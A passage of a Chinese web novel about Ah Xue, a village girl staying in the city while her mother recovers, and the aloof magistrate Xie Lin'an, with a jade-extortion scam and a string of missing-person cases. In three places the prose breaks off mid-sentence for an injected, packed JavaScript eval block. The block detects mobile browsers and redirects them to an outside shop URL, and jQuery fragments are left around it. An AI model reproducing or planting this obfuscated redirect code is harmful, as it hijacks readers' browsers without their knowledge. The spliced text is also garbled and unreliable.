焦红杏的病耽误不得,半夜还要喝一副,阿雪说什么也得将药带走。 老大夫瞥见她的发鬓,突然眼睛一亮:“不若将你头上的簪子给我抵做药钱如何?” 阿雪伸手摸,虽然是木头簪子,但颜色均匀漂亮,纹理细腻光滑,正是谢临安所赠之物。 木头簪子,不值钱的。 如果能抵药钱,再好不过。 …… “你是说,他们没钱付诊费,将那根簪子抵了?” 书桌后的郎君背靠垫子,姿势懒散,瞧着像是浑不在意,但松石明显感觉到气氛不对。 松石艰难开口,继续道:“是,卢小娘子他们从医馆里出来时候,那根簪子已经不见了,等他们走了后,我还特意进去问大夫,说是钱不够,用簪子抵钱了。” “郎君,卢小娘子太过分了!” 听着松石汇报,谢临安唇角的弧度渐渐抚平,眼睛也不再是温柔的形状。 他声音冷淡道:“既然送了她便是她的,想怎么处置是她自己的事情,与我何干。” 话是这么说,可那不是普通的簪子! 看似木头,其实是浸过药的檀木,夏季佩戴最好,能驱蚊避虫,在京城里可是炙手可热的好东西。 谁成想碰见个不识货的,真以为那是普通木头。 松石替自家郎君不值,正愤愤不平,谢临安让他退下。 “是。” 出来后迎面碰上赵友成,松石说郎君歇下了,赵友成还不信邪,笑道:“在京城时这个时辰还在吃酒,我进去看看。” 不到一刻钟,赵友成灰头土脸的出来了。啧了两声,问松石。 “谁气你家郎君了?” 一进去就觉得谢临安气场不对,说了两句话后明白确实心情不好,不过让赵友成好奇的是,谁能让谢郎君如此? 松石木着脸:“一个小娘子。” “嗯?什么小娘子?” 天大的笑话,他谢临安有一天竟然会被小娘子弄生气? 赵友成顿时来了兴趣,追问松石那位小娘子是谁。松石嘴严的很,半点都不肯吐露,赵友成煞兴而归。 翌日,碰上谢临安休沐,赵友成说什么也要让他陪着出去游玩。 京城的纨绔子弟整日风花雪月游乐玩耍,虽才到这里几天,但已经将城中能玩的地方摸了一遍,苦于无人陪伴才没去,总算得了机会,拉着谢临安就走。 两个玉面郎君并肩走在街上,顿时吸引无数人的视线。谢临安早就习惯无动于衷,赵友成笑呵呵,显然乐在其中。 “这里到底不比京城,街上的小娘子模样一般。” 也有几个样貌可人的,赵友成看了几眼,觉得五官周正,但皮肤不够白皙细腻,打扮也不够出尘脱俗。 谢临安没参与对别人的品头论足,声音不轻不重道:“带路。” 赵友成嘿嘿笑:“知道了。” 昨晚赵友成一夜都没休息好,就想知道到底是哪位神通广大的小娘子,竟然将谢临安这尊大佛收了。 他旁敲侧击:“临安啊,你来这里上任感觉如何?” “不如何。” 谢临安明显心情不虞,懒得搭理赵友成。 赵友成笑嘻嘻:“哎呀,说说呗。我还没当过父母官,听说前一阵有个案子,你处理的还不错?” 关于谢临安的消息,不用特意打探就能得知,虽然没抓到凶手,但这件案子不简单,和其他州县失踪人口案有关,因此已经并入其他州县的案子里,不用谢临安插手。 相反,因为谢临安呈上不少消息,听说龙颜大悦,在朝会上当着文武百官的面夸了好几句。 问为什么他知道的这般清楚,自然是因为他家老头子回来就把他抽了一顿,说他连谢临安的脚趾头都不如。 唉,赵友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656252|142725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成忍不住想,既生瑜何生亮啊。 谢临安不言一语,显然是懒得搭理他。 在赵友成看来,谢临安就是一只乌云盖雪,瞧着春风和煦人畜无害,实际上外热内冷,不是表面上看这般好相处。 不过,他就喜欢和谢临安一起,起码他不像其他人那样当面一套背后一套,最主要的是,谢临安于他有救命之恩! 二人先去用了饭,下午时候在茶楼里听书。 显然,小地方的说书先生嘴皮子也不如京城里的利落,故事老套,赵友成甚至能猜到后面进展,对“欲知后事如何,请听下回讲解”半点兴趣都没有。 天色渐暗,赵友成索性邀请谢临安去吃酒。 谢临安站起身活动了下筋骨,在赵友成看来,越来越像一只乌云盖雪。 “不去。” “去呗,据说那家的烧刀子不错,我还没喝过烈酒,去尝尝?”赵友成停地劝说,“我一个人喝酒多没意思,这样,我请你吃茶,你看着我喝。就在前面不远处,来都来了。” 大抵是被缠的烦了,谢临安到底跟着去了。 这处是个小酒馆,门脸不大,店内陈设有些古朴,赵友成坐下后谢临安却不动。 桌面油亮,长条凳也呈现红褐色的油亮,显然并不是刷漆的色。 “用我的帕子。” 赵友成生怕谢临安扭头就走,于是忙抽出自己的手帕垫着,谢临安这才勉强落座。 于这里吃饭的都是本地百姓,烧刀子喝完立刻上头,面色涨红吵吵嚷嚷。 他们这些出身高贵的郎君们,出行都是雅间,取雅趣做雅乐,鲜少身处这等平民场合,因此赵友成不免激动和兴奋。 谢临安则是神色淡淡,无动于衷。 没一会上了菜和酒,乡野小菜,还真别有一番风味。 烧刀子入口,辣气冲天,咽下去从口腔到腹部立刻像是着火一般,赵友成连喝两杯茶水才压了下去。 “够劲!” 一抬头,整张脸都红扑扑,尤其是眼下,像是抹了胭脂一般。他特意朝着谢临安的方向靠,想要给他也倒一杯。 谢临安嫌弃地起身,索性坐到桌子另一边。 从酒馆出来时暮色四合,明明是入夏,却给人一种萧瑟之感。 喝醉的赵友成由松石扶着,谢临安叫他先送其回去。 “郎君,那您呢?” “步行回去。” 松石懂了。 赵友成满身酒臭,郎君能与他同乘就怪了。 沿着街道往回走,穿着青色衣袍的郎君样貌气质过人,就算离的远也一眼就能辨认出来。 “郎君!” 熟悉的声音从背后响起,谢临安回过身,就见面若银盘的小娘子快步朝他而来。 “真的是你,我还以为看错了。”阿雪一脸惊喜。 谢临安视线看向她的发鬓。 阿雪没注意,她接着道:“你可有看见我的信?一共写了两封给你。我每天都去问,可惜都说没有回信。一定是因为太远了,或者信送到了你没瞧见吧。” 那根簪子好好的戴在她的发鬓上。 谢临安心尖倏地泛起一股痒意,说不清道不明的情绪弥散开。 许久之后,他才轻嗯一声。 “嗯,我没看见信。” 19. 第 19 章 卢大富为了能让焦红杏好生休息,特意去定了半个月的客栈,一共两间房,焦红杏和他一间,两个孩子凑合一间。 以前他进城卖皮草时,直接睡桥洞子,皮草一裹,睡的也舒坦。但不能让家人跟着受苦,即便费用昂贵,他也咬咬牙付了钱。 回到医馆,才知道人家大夫要回家了,付的钱不够,阿雪用自己的手链抵了。 那是用鹿角做的链子,大夫说可以入药,但明显还是更想要那支簪子。 阿雪一把抢回来,道:“抱歉,簪子是旁人送的,不管贵贱我都不能抵。手链给你,钱货两清。” 卢大富手里还有点钱,说要去付药钱把手链要回来。 阿雪心态还不错。“没事,反正也戴的久了,爹,等你再打到鹿给我做一条新的。” 去客栈安置好焦红杏,卢大富作陪,卢石头借用厨房熬药,阿雪则是出来买点吃食。 就是城里的东西太贵了,在他们小镇上一个铜板便能买个馒头,在城里要两个铜板才行。 他们手里剩下的钱不多,得省着点花。 刚买了几个馒头和一点小菜的阿雪往回走,碰见了谢临安。 得知对方没看见她的信所以才没回时,阿雪肩膀松懈下来,这几天烦闷的情绪一扫而空。 “我就知道。” 夜幕降临,小娘子的眼眸璀璨如星。她微微仰头看向谢临安:“等你回去记得看信。” 说完,晃了晃手里的东西。“我得赶紧回去了,爹娘和石头在等着吃饭。” 谢临安颔首。 就在阿雪要和他擦身而过时,忽地停下,问道:“想找你要去衙署找吗?” “一般情况下我都会在衙署。”他轻声道。 “好。”阿雪眉眼弯弯,“那我走啦。” 脚步明显轻快不少,心情舒畅之下回到客栈看见石头把药熬焦了也没训斥。 “行了,你先去和爹娘吃饭,我来熬。” 石头挠头:“对不起。” “你没熬过药,熬不好也正常,没事。” 卢石头十岁时就跟着卢大富进山了,爷俩在山里十天半个月的时候也不少,家里就靠阿雪撑着。 熬药这种小活手到擒来,这么会就已经药材入锅,开始生火熬了。 卢石头见帮不上忙,就先将东西带回去。焦红杏醒了,屋里夫妻俩谈到那个流掉的孩子,不免觉得惋惜,俱是红着眼睛。 等卢石头进屋之后,夫妻俩都默契的不说话,气氛有些沉闷。 卢家姐弟俩都随了卢大富,头脑简单,有时候对于情绪和事情不太敏感,进屋之后没发现气氛不对,兴致勃勃给他们看阿雪买的馒头。 “又白又大!还有这些小咸菜,好像放了麻油,闻着就香。” 卢大富打了他脑袋一下:“你阿姐做的最好吃。” 卢石头捂着脑袋,委屈的撇嘴:“我也没说阿姐做的不好吃啊,我就说这个馒头大而已。” 经过卢石头这么一闹腾,悲伤的氛围被驱散。 “你阿姐呢?”焦红杏背靠在床头,脸色惨白,声音虚弱道:“她是不是自己在熬药?大富,你去瞧瞧,让阿雪歇息。” 卢家虽然不富裕,但对两个孩子向来舍得花钱,对于他们来说是娇养。卢大富立刻称是,去将阿雪替了过来,他们娘几个先用了饭,给卢大富留了一口。 临睡前焦红杏喝了一碗汤药,阿雪侍候她睡下才回房间。 她和卢石头一人一张床,疲倦之下也沉沉睡去。 客栈里的光亮熄灭,衙署后宅县令府邸依旧灯火通明。 松石悄悄打了一个哈欠,谢临安没有要睡的意思,站在书桌后练字。 他们郎君总会对重复的事情感到厌烦,除了写字。每当心情烦躁时,就会提笔挥墨,写完后心情就会平静下来。 明明和赵郎君吃酒时心情还算不错的,怎么现在不太对? 难道是他赶车回来过程中,主子遇见了什么人或者什么事? 难道……是碰见卢娘子了?不能这么巧吧。 …… 昨日喝了烧刀子,本来以为只是宿醉一夜罢了,没想到第二日起来头疼欲裂。 赵友成捂着脑袋哀嚎,过了会有丫鬟敲门进来,端了一碗醒酒汤。 “赵世子,这是厨房刚煮好的。”丫鬟名唤水秀,能跟着谢临安出来自然样貌不俗气质过人,若不是穿着丫鬟衣服,走在路上恐怕都以为是大户人家的娘子。 赵友成风流惯了,摸了一把水秀的小手,水秀笑盈盈也不躲,还往赵友成的床边凑。 “行了,放着吧。”赵友成收回手,觉得没什么意思。 水秀眼里闪过失望。 她从小就被拨到谢临安的院子里,凭借样貌出众,她知道自己是给谢临安准备醒事儿的,可哪里想到谢临安都二十了,还不曾召唤过他们。 记得几年前,也有胆子大的想要爬床,直接被谢临安扔出来,第二天就被发卖了。自那之后,侯府里的丫鬟老实不少。 这趟出京,侯夫人照旧点了两个漂亮的,什么意思不言而喻。可谢临安根本不给机会,贴身侍候的活都由松石做。 水秀渐渐感到绝望。她觉得自己如今十九岁,再不谋求后路就晚了,所以才将歪心思动在赵友成身上。 可她怎么不想想,赵友成是国公府的世子,见过的人多如牛毛,一眼就能看透她的心思。 再愤愤不平也得出来,甩着袖子走了。 赵友成收拾妥当来找谢临安时已经是晌午,俩人坐在一起用饭,赵友成没瞒着,点出水秀的心思不正。 “临安,你要是没那个心思就多小心些。” 世家子弟风流成性的不在少数,像赵友成,他就没事拉拉小娘子的小手,但也仅限于拉手,其他的还没干过。 赵友成一直觉得自己是正人君子,直到认识谢临安。 这家伙不止长的像是谪仙,行径更是如此,好像对世俗的一切都没什么欲望。 赵友成倒是不怕谢临安主动怎么样,他怕那些不开眼的撞上来,再用些手段,惹谢临安不高兴。 下午谢临安继续办公,琐碎之事不少,赵友成看着都脑袋疼,便在他房里乱走。 走着走着,就来到书架前,随手翻看书籍。 书架半满,依照谢临安挑剔的性子,应当都是从京城千里迢迢拉过来的。果然,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665980|142725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便一看都是孤本珍品。 瞧见密密麻麻的字迹,赵友成已经开始头疼了,也不知道谢临安怎么做到没事就看书的。 翻看了好几本,赵友成想找一本游记或者异志看看,翻着翻着,突然发现角落里放着一本似乎夹着东西的书。 赵友成好奇,打开一看,竟然夹着两封信纸。 看着歪歪扭扭的字迹,赵友成确定,绝对不是出自谢临安之手,应当是别人写给他的。 他也不想看,可就两三行字,一眼就扫完了。第一张结尾处画了一个小圆圈,两道弯弯的墨迹。 这是什么东西? 赵友成上看下看,最后发现,这竟然是画的笑脸。 也正因为如此,第二封信上一个小哭脸就很好懂了。 “国公爷没教你不能乱翻别人东西?” 不知何时,谢临安站在他身后,声音不轻不重,却吓的赵友成一个激灵。手上的书没拿稳,连同信掉在地上。 谢临安弯腰先捡起信,再捡珍品书籍。 瞧着他动作,赵友成咂咂嘴。“谁给你写的信?是小娘子吗?” 得什么样的小娘子能写出这种字啊,赵友成好奇极了,联想到松石所说,断定谢临安在此地有认识的小娘子,且二人关系匪浅。 谢临安越不说,赵友成越好奇,时时刻刻注意谢临安的动向,认定跟着他肯定能知道小娘子的庐山真面目。 这天傍晚,赵友成还在院子里悠哉赏景,松石急匆匆的进了房间。过了会,就见谢临安走了出来。 “临安,去哪?” 谢临安依旧是温润如玉的模样,可分明步伐紧急,应当是出了什么事情。赵友成正觉得无趣,立刻起身跟上。 “衙门办差,我也能跟着看看热闹吗?” 谢临安瞥了他一眼,赵友成没琢磨过味儿。 松石小声道:“赵世子,不是公事。” 那就是私事了?赵友成更兴奋了,急忙跟上。 …… 这处城池与京城相比自然算小,不过乘坐马车也行事了将近一刻钟才停下。 远远的听见有吵闹之声,谢临安先一步下车,赵友成紧随其后,下车后瞧见前面聚集了一群百姓,似乎发生什么不得了的事情了。 确实不得了。 人群中央站着阿雪和卢石头姐弟,卢石头面上挂了彩,对面还有个对峙之人,瞧着好像也受了伤。 阿雪使劲的压着卢石头,勉强将这头被激怒的小兽按住,没叫他冲出去又打起来。 说起来这件事也怪她,带来的钱不够,卢大富出门筹措,阿雪便留下照顾焦红杏,让卢石头出去买饭。等了好一会不见出来,阿雪放心不下出门来寻,这才知道石头和人打了起来。 据石头所说,他好好的走在路上,突然有个人撞他,然后那人怀里掉出来一块玉佩,当即落地摔碎。石头连声道歉,那人不依不饶,抓着他让赔钱。 本来就捉襟见肘,哪里有钱赔给对方,且卢石头认为不是自己的过错,少年容易冲动,在对方不让他走好几个人围过来时动了手,两边人都有受伤。 “祖传的玉佩被你摔碎了,不赔钱就想走,做梦!赔钱!” 20. 第 20 章 第一次进城里就碰见这样的事情,阿雪有苦说不出。 她家里没有玉石之类的东西,认不出那些碎玉到底是好是坏,只是有围观的百姓过来,颇为可惜道:“天呐,成色这么好的玉佩,恐怕得卖一百两银子。” “用不了吧,一百两也太多了。”有人接话。 玉佩持有者气势汹汹:“祖传的宝贝,给我一百两都不卖,哪里想到竟然被这个毛头小子打碎了!我不管,必须赔钱。” 原本,阿雪是想问问赔多少钱合适,实在不行就给钱。但一听,恐怕将家底掏了都不够赔的。 卢石头还在挣扎,少年气的面红耳赤:“你放屁!压根就不是我,是你自己撞上来玉佩才掉下去打碎。阿姐,你信我,真的和我无关。” 阿雪当然相信弟弟,石头虽然鲁莽,可心地善良,不会做这种事情。那人继续大喊:“来啊,大家都给我评评理,是不是得赔钱?我这可是家传的玉佩,至少要二百两!” 人群里有人低低吸了口气,阿雪更是紧皱眉头。 二百两,把他们姐弟卖了也不够。而且阿雪总觉得哪里不太对,但她一个质朴纯真的小娘子,从不会将人往坏处想,脑子里一直在琢磨到底如何处理为好。 卢石头不用说了,一腔热血,一直在和对方对着喊,就差冲上去打拳了。虽然石头长的高大,但说到底才十三岁,按照焦红杏的说法,一点智慧都没有,就一双拳头硬。 围观的人越来越多,谴责的声音也多了起来,阿雪哪里受过这种委屈,强忍着情绪,杏眼微红,低垂着脑袋咬唇,在拼尽全力想办法解决。 “行了,看你们俩岁数不大,也不为难你们,这样,先给二十两,剩下的写欠条,慢慢还。” 那人突然变得善解人意,被压力裹挟的阿雪也缓缓放松下来。 毕竟二百两和二十两还是差很多的,且二十两他们能拿出来。只是后续的钱肯定没办法了,该如何凑钱呢?或者,她好言好语与对方商量,这次就算两方的责任,她少赔钱算了。 想了一会,阿雪忽然弯腰蹲下,那汉子警觉,刚要有所动作时,阿雪已经捡起石头脚边的一截碎玉。 汉子立刻弯腰,将其他的都捡了起来,还朝阿雪伸手:“还我。” 拇指长的碎玉,碧绿颜色,确实瞧着漂亮。阿雪捏着躲了一下,石头上前挥拳挡住汉子来抢,不知道阿姐要做什么,但挡住就对了! “既然要我们赔钱给你,那这玉佩就归我们所有了,剩下的也给我。” 汉子皱眉面带警惕:“钱给我,玉佩给你。” 阿雪忽然松手。 碎玉从她的指尖掉落,人群里有人惊讶的啊了一声,声音落下玉也落下,直接落在泥土地上,甚至连声音都没发出来。 “我从刚才就觉得不对劲,”阿雪边说边捡起玉佩,用手指拨了拨上面的泥,“前几天刚下完大雨,这几日阴天地上还没完全干,而这里不是主路没铺石板,脚底下一踩还觉得软,玉佩又怎么会落地就碎呢?” 阿雪面带疑惑的说话,对面大汉面色一变。 人群之后,赵友成啧一声。“行啊,她还不蠢。” 显然是一场有预谋的讹人。 阿雪他们生活的小镇民风淳朴,从未有这样的恶性事件发生,因此姐弟俩没碰见过,当真以为就是碰碎了,还是方才阿雪低头捡玉时碰到地面,才感觉出异样来。 也不知道是恼羞成怒还是怎么回事,那大汉梗着脖子脸色赤红,叫嚣道:“众目睽睽之下,你还想狡辩,今天你赔钱就算了事,若是不赔钱,我就直接拉你们去见官!” 普通百姓一听到见官两字就打心眼里犯怵,阿雪和石头当然也是如此。但也只是一瞬,阿雪突然腰杆挺直,硬气起来:“见官就见官,我还怕你不成。” 她差点忘了,谢临安就是本地的官啊,到时候他肯定会给她做主的。 卢石头也不知道阿姐怎么就变了态度,他也跟着硬气,挥舞着拳头,呲牙咧嘴,大有不服就干的架势。 “好好,你们给我等着!”大汉不知道是害怕见官还是怎么回事,放了狠话之后就带人离开。 没一会,人群也散去,阿雪一眼就瞧见谢临安了。 “郎君!” 方才色厉内荏全是装出来的,见到熟人之后放松下来,快步朝着谢临安走过来。 当时从家着急出来,阿雪只带了一身换洗衣服,今日穿着洗的发白的樱色布裙,头上也只简单的簪了一根木簪子,但她容貌生的讨喜,很容易让人盯着她脸看而忽略她的穿着打扮。 赵友成的视线从上扫到下,又从下扫到上,待阿雪走近后,笑嘻嘻道:“小娘子怎么称呼?” 阿雪一愣。“我姓卢。” “原来是卢娘子,我是临安的好友,姓赵。” 总算见到那个让谢临安情绪变动的小娘子了,赵友成兴奋不已,就好像见到铁树开了花,已经在评估阿雪在谢临安心里的重量了。 片刻后,赵友成得出结论,显然分量不轻。 这个人好热情。 阿雪心里嘀咕,去找谢临安说话。“你今日不当值吗?我方才碰见了麻烦,幸好解决了。” 谢临安颔首,只道自己路过,说完就要上车离开。阿雪还有点恋恋不舍,她道:“虽然这些日子一直在城里,但不知道哪天就走了,如果再收到我的信,记得回。” 谢临安不动声色,也不知是答应还是不答应。 她摸不准,赵友成却是了解他的,天之骄子谢临安,如果厌烦某件事或者人,是不可能耐着性子站这许久。 显而易见,他对卢娘子格外不同,只是他自己没意识到罢了。 阿雪着急回去照看焦红杏,就带着卢石头走了。 这边赵友成索性拉着谢临安在外面吃饭。 那些人一看就不是善茬,有组织有预谋的讹人,恐怕还会卷土重来。谢临安朝着松石低声吩咐了一句,松石立刻称是跑着离开。 “临安啊,你完蛋了。”赵友成笑嘻嘻,说 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屋里,焦红杏唉声叹气:“哪有那么娇贵,只是小月子罢了,这两天流干净又喝汤药,其实我身子大好,完全可以赶路回去。大富,城里吃饭住宿都要钱,不如省下这些钱给两个孩子用。阿雪年岁到了,兴许年底就要出嫁,我们为人父母,必须准备厚实嫁妆给女儿撑腰。” 可能流了太多血,她明显气血不足,说话停顿了好一会,才继续道:“还有石头,既然走上读书这条路,那就得供他读,说不定以后能考个大官,到时候他们姐弟也有个照应。” 总而言之,就是不肯再修养,想要明日一早就启程回家。 卢大富不同意,瓮声瓮气道:“那都是以后的事情,目前先照顾你才是头等大事,大夫说了,若是修养不好容易落下病根。现在两个孩子不知道实情,若是知道,也会同意你继续在这修养。” 焦红杏为难,她就是不想花钱在自己身上,花钱给儿女不心疼,到自己反而舍不得。 又说了好一会,也无法说服卢大富,焦红杏刚要继续劝说,便听见房门被敲响,接着阿雪端着药进来。 焦红杏心里一紧,“女儿啊,什么时候来的?” “全听见了。”阿雪神色如常,把汤药碗往桌子上一放,然后她坐下给焦红杏扒鸡蛋。 如果是那心思玲珑的小娘子,恐怕会假意没听见再悉心游说,但阿雪没那么多心眼,直截了当。 “娘,你就在这好好养着吧,养好了我们都安心,否则爹、我、石头,我们三个恐怕愧疚一辈子。是,你现在能瞒,到时候身体不好了还能瞒住吗?就算有难关也没什么的,我们一家人肯定能度过。” 阿雪说话的功夫,已经把鸡蛋剥好了,直接递给焦红杏。 “娘,吃鸡蛋补补。” 看着阿雪笑盈盈的模样,焦红杏又欣慰又心酸。 女儿善良单纯,万万得找个心眼好的良人,否则对方心思多,被卖了也不知道。 21. 第 21 章 “我在京城的时候就听说有失踪案出现,男女都有,大多是幼童和女子。” 赵友成眉头紧锁:“这件事已经归在一起,交给其他州县处置,按理来说该有线索消息了才是,怎么又有人失踪?” 就在方才传的消息,说是临城有两人失踪,正是年纪不大的小娘子们。 不是赵友成往坏处想,那些小娘子们被掳走,下场不会好。“坏人猖獗,视官府于无物,临安,可要将坏人抓住,免得再有其他小娘子和孩童受害。” 赵友成说了好一会,没听见谢临安应声,抬头一看,桌子后面的谢临安还在看舆图,且手上拿了一支笔,似乎在写写画画。 “干什么呢?”赵友成走过来,正好谢临安落笔,于图上画了一个小圈。 赵友成捏着下巴,沉思片刻后恍然大悟:“这是失踪人口的所在地点?” 明显分布的密集,就集中在沧州这一片。沧州底下大大小小的城池,失踪的人竟然囊括了四个地方! “临安,你是不是有什么发现?” 在赵友成的心里,谢临安几乎无所不能。家世样貌都是顶尖,最为可贵的是他不是纨绔,玩乐和读书一样厉害,简直聪慧异于常人, 谢临安并没有注意到对方崇拜的眼神,他放下笔,手指点着舆图,淡声道:“出现失踪案的地方都是小镇或者村落,这里,包括这里。” 比如阿雪所在的小镇。 “说明他们不想引起别人关注。”赵友成也不是没脑子,经过谢临安的提点,立刻想到关键之处,“这样他们作案后方便逃跑,等案子传到官府的耳朵里,恐怕早就不知逃哪里去了。” “对。” 谢临安颔首:“兴许是得了甜头,才敢如此肆意妄为。对了,烟雨楼里的娘子们年岁几何?” “哎呀,那我怎么知道,我可不敢去烟雨楼,别乱说话啊,让我家老头子知道了,腿给我打折不可。” 谢临安侧目看过来,赵友成眼珠子乱转,明显是心虚了,摸着鼻尖声音漂浮:“我就去过一次,还真没注意。” 本朝不禁烟花之地,但能经营运转一座花楼,所需人力物力等成本不计其数,且还需要大量的心血和人脉。 烟雨楼就是京城里最出名的花楼,那些世家权贵子弟是常客,花楼里的娘子们各个都堪比世家出身的姑娘,在精心培养之下琴棋书画无所不能,而且样貌出众善解人意。 可家境优渥的人家不会送自己女儿去花楼,大多是穷苦人家的女儿,亦或者走投无路之女子。 谢临安回忆那名被救的王娘子,伤痕之下也能看出她样貌不错。 赵友成琢磨过味儿来了。 “你是说,他们抓了那些小娘子是为了送进花楼?” “只是其中一种可能。” “刚才王捕头说还有一些是离家出走不见踪迹,估摸着是被哄骗走了。”赵友成喃喃:“出家门,进花楼。” 若是被失踪女子的家人们知道,恐怕伤心欲绝,肝肠寸断。 赵友成第一次觉得,或许当官的意义就在这,为百姓们排忧解难,做到无愧于心。 “临安,那怎么办?你能插手吗?” 毕竟这件事交给一州知府办了,谢临安作为下属官员,不好插手。若是插手也成,凭借他侯府世子的身份,想必知府也不会说什么。 “不插手。”谢临安道,“我能想到的,其他人也会想到。等着,应该不日就有消息。” 也是,总做一件事对于谢临安来说枯燥无比,他就是如此性格。 …… 每个人都有烦恼之事,现在的阿雪最忧愁的是去哪里筹钱。 现在全家上下只有十个铜板了,连吃一天的饭都不够。幸而药材管够,保管不会耽误母亲治病。 走在街上,阿雪四处寻觅,她想着若是有地方招短工就好了,她和石头都能去应工,多少挣一些,先把这个月应付过去。等娘出了小月子,他们就赶车回家。 石头原本也要跟着的,但阿雪让他留下照看焦红杏,因为卢大富要熬药,生怕石头又熬坏了浪费钱耽误事。 阿雪盘算着如果留下一个月要花多少钱,越算越泄气,心想人在他乡简直是寸步难行。 也不是,是没钱寸步难行。 她一个外乡人,人生地不熟,找了一个多时辰也没有合适的。要么嫌弃她年纪小,要么不收短工。阿雪走的脚底都疼了,许久未喝水嗓子冒烟。 前方路口有棵歪脖子柳树,枝条茂盛留下一大片阴影。如今进了四月,天气一天比一天热,尤其是晌午时分,日头如火炉,简直要热死人。 阿雪快步朝着树下去,待进了阴凉处,立刻舒坦地吐出一口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699771|142725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只是还不等她擦汗,面前忽地有个墙似的物体,立刻投下一大片阴影。抬头一看,不是墙,是体形壮硕的汉子,正是那日和石头发生冲突之人。 “总算让我逮到你了。”那汉子眼神不善,恶狠狠道:“还钱!” 那天人太多,还在人群里看见穿着官服之人,汉子不敢轻举妄动这才灰溜溜的跑了。但现在阿雪只有一个人,汉子跟了她两条街确定没有同行之人,这才上前来要钱。 “你这人好生无赖,那玉佩不见得是我弟弟碰碎的,你莫不是在讹人吧?” 就算心思单纯不将人往坏处想的阿雪,此刻也窥得一些事实。 被戳中的汉子面色转换,咬牙切齿道:“还不还?不还可别怪我不客气。” 说完话,也不知道从哪里冒出来两个人,与那汉子一起将阿雪围住。显然,对方是有备而来。 也不知道怎么回事,方才还有行人走过的道路,这么会就无人,阿雪求助无门。 感受到他们落在自己身上的视线,阿雪顿觉恶心,但她不敢轻举妄动,试图讲道理。“我身上没那么多钱,这样,你们在此等我,待我取了钱就给你们。” 汉子一针见血地道:“到时候你跑了我们上哪里寻人?小娘子,不如这样,你跟我们走,留个地址,让我兄弟们去取钱,钱到了再放你走。” …… 衙署公事房里,谢临安太阳穴突突地跳,总觉得有事情发生。 “松石,你去看看前厅是否有事。” 松石称是转身离开,坐在屋里一角的赵友成打了个激灵,覆在脸上的书掉下来,露出一张睡眼惺忪的脸。 “临安,我做梦,梦见老爷子来抓我来!怎么办?” “不是做梦,恐怕他派的人已经在路上了。”谢临安毫不客气,薄唇轻启吐出实情,“按照国公爷的性子,他如果没时间出京,大概会派手底下的将领来抓你,习武之人能日夜兼行,大抵十五天后就能到达此处。” 赵友成站起来,焦急的踱步:“完了完了,到时候肯定扒我一层皮!你是我好友,不能见死不救!” 谢临安不置可否,一副云淡风轻的模样。 “郎君!”就在这时,松石急匆匆的回来,惊慌失措之下被门槛绊了一下险些摔倒。 “卢娘子的弟弟来报官,说他姐姐不见了!” 22. 第 22 章 “大人,那些失踪案里的受害者大多是女子,且听说不一定是被人掳走,也有可能是使用了花言巧语或者循循诱之,总之,只要不见踪影,就一定有大危险。” 诱骗…… 认识阿雪的时间虽然短,但出身乡野的小娘子性子单纯,前几天当街讹人都没看出来,足以可见涉世不深,极容易下手。 笑面郎君的唇角渐渐平了。 说话的是王捕头,方才松石慌里慌张的来汇报,王捕头紧随其后,带着苦主卢石头。 卢石头也不傻,他知道这里谁最大,直接要对着谢临安跪下。 “松石。”谢临安淡淡一声,松石会意,扶着半跪的卢石头,道:“大人让你站着回话即可。” 卢石头隐隐带了哭腔:“大人,我阿姐上午出去,说过出去找活计午后便归,可现在都黄昏了她还没回客栈。大人,我阿姐说不定遇见什么危险了!” 原本卢石头没往这方面想,是他寻找阿雪的路上,听见别人讨论失踪案的事情,搞的少年心慌意乱,尤其在听别人说失踪人口都是貌美如花的小娘子后,卢石头脸色煞白,直接问官府地址,一路寻了过来。 原本的八分担心,在听王捕头的话后变成了十分,十三岁的卢石头用沙包大的拳头抹了一把眼泪。 “我阿姐生的貌美,又人生地不熟的,说不定有坏人盯上她了。” 卢石头越说,谢临安的脸色则越沉。 玉面郎君的面上风雨欲来,赵友成见状起了一身鸡皮疙瘩,忍不住搓胳膊。 看来那位卢娘子果然与临安的关系非同一般。 “王升,你将捕快分为十组,主要街道都去寻一番,另外再派人去城门口询问,可否见过卢雪出城。” 这些捕快都见过阿雪,想到那个冰清玉洁貌美如花的小娘子,不免升起几分恻隐之心。王捕头称是吩咐下去,谢临安又留了两个身高体壮的捕快,道:“你们跟我走。” 赵友成连忙跟上,问:“临安,我们去哪寻卢娘子?” “松石,那人的地址可还记得?” 这没头没尾的一句话,在场的人都有点懵,松石也是缓了一下才反应过来他问的什么。 “禀郎君,记得,这就带路。” 